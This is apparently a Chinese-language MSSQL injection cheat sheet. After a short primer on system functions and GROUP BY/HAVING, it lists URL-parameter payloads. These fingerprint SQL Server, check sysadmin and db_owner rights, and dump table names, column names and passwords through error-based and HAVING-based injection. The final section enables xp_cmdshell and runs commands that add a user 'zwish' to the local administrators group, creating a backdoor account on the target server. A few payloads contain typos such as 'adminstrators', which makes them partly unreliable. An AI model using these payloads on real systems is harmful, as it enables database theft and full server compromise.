MSSQL注入
一、基础知识
Mssql即SQL Sever,SQL Server 是Microsoft 公司推出的关系型数据库管理系统,Sql Sever通常与IIS服务器搭配使用。
1)常见的一些系统函数:
User;User_name(); 系统用户
db_name() 当前数据库的名字
host_name 主机名
@@version 数据库版本
@@servername 服务器名称
@@language 当前使用语言
@@spid 当前用户的进程ID
is_srvrolemember ('sysadmin') 判断用户是否属于管理员的组
更多系统函数请参考: http://www.cnblogs.com/jack-liang/archive/2011/03/25/1995466.html
(2)group by和having的使用
1、GROUP BY是分组查询, 一般GROUP BY是和聚合函数配合使用
group by 有一个原则,就是 select 后面的所有列中,没有使用聚合函数的列,必须出现在 group by 后面
2、Having
where 子句的作用是在对查询结果进行分组前,将不符合where条件的行去掉,即在分组之前过滤数据,条件中不能包含聚组函数,使用where条件显示特定的行。
having 子句的作用是筛选满足条件的组,即在分组之后过滤数据,条件中经常包含聚组函数,使用having 条件显示特定的组,也可以使用多个分组标准进行分组。
having 子句被限制子已经在SELECT语句中定义的列和聚合表达式上。通常,你需要通过在HAVING子句中重复聚合函数表达式来引用聚合值,就如你在SELECT语句中做的那样。
例如:SELECT A COUNT(B) FROM TABLE GROUP BY A HAVING COUNT(B)>2
http://www.cnblogs.com/gaiyang/archive/2011/04/01/2002452.html
二、注入语句
基本语句
1、判断是否是MSSQL
?id=1 and exist(select * from sysobjects)
2、MSSQL版本
?id=1 and 1=(select @@VERSION)
3、当前数据库名
?id=1 and 1=(select db_name())
?id=1 and db_name()>0
4、判断是否是系统管理员
?id=1 and 1=(select IS_SRVROLEMEMBER('sysadmin'))
5、判断是否是库权限
?id=1 and 1=(Select IS_MEMBER('db_owner'))
6、判断是否有库读取权限
?id=1 and 1= (select HAS_DBACCESS('master'))
7、是否支持多句查询
?id=1;declare @a int--
8、判断XP_CMDSHELL是否存在
and 1=(select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
9、爆表名
and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1
//将N修改为1,2....
10、爆列名
and (select top 1 col_name(object_id('admin'),N) from sysobjects)>1
//修改N为1,2,...
11、爆数据,假设表为user,字段为password
and (select top 1 password from [user] where id=N)>1
//修改N,并且这里user加了一个[]是因为系统表中也存在user表;其他名称就不用了加了
#having报错注入,这里适用于当前语句查询的表刚好就是我们要爆的表
?id=1 having 1=1 #爆出第一个字段名,原理是having后面通常跟聚合函数的条件,因为select后面没有任何聚合函数,所以出现了报错。
?id=1 group by id having 1=1 #假设第一个爆出的字段为id,爆下一个字段的时候需要在group by后面跟上前面得到的所有字段。
?id=1 group by id,title having 1=1 #假设第二个爆出的字段为title
?id=1 and 1=0/title #爆字段内容,title是我们需要爆的的字段
mssql注入提权
1、当?id=1存在注入点
2、判断是否是管理员:?id=1 and (select IS_SRVROLEMEMBER('sysadmin'))=1--
3、是管理员,判断数据库中管是否存在xp_cmdshell
?id=1 and 1=(select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell')
4、如果存在,判断是否启用
?id=1;exec master..xp_cmdshell "net user zwish zwish /add"
根据结果判断是否启用
如果未启用,则启用:?id=1;exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell';1;reconfigure;--
5、利用xp_cmdshell在目标服务器建立一个新账户
;exec master..xp_cmdshell "net user zwish zwish /add"--
添加到管理员组
;exec master..xp_cmdshell "net localgroup adminstrators zwish/add"--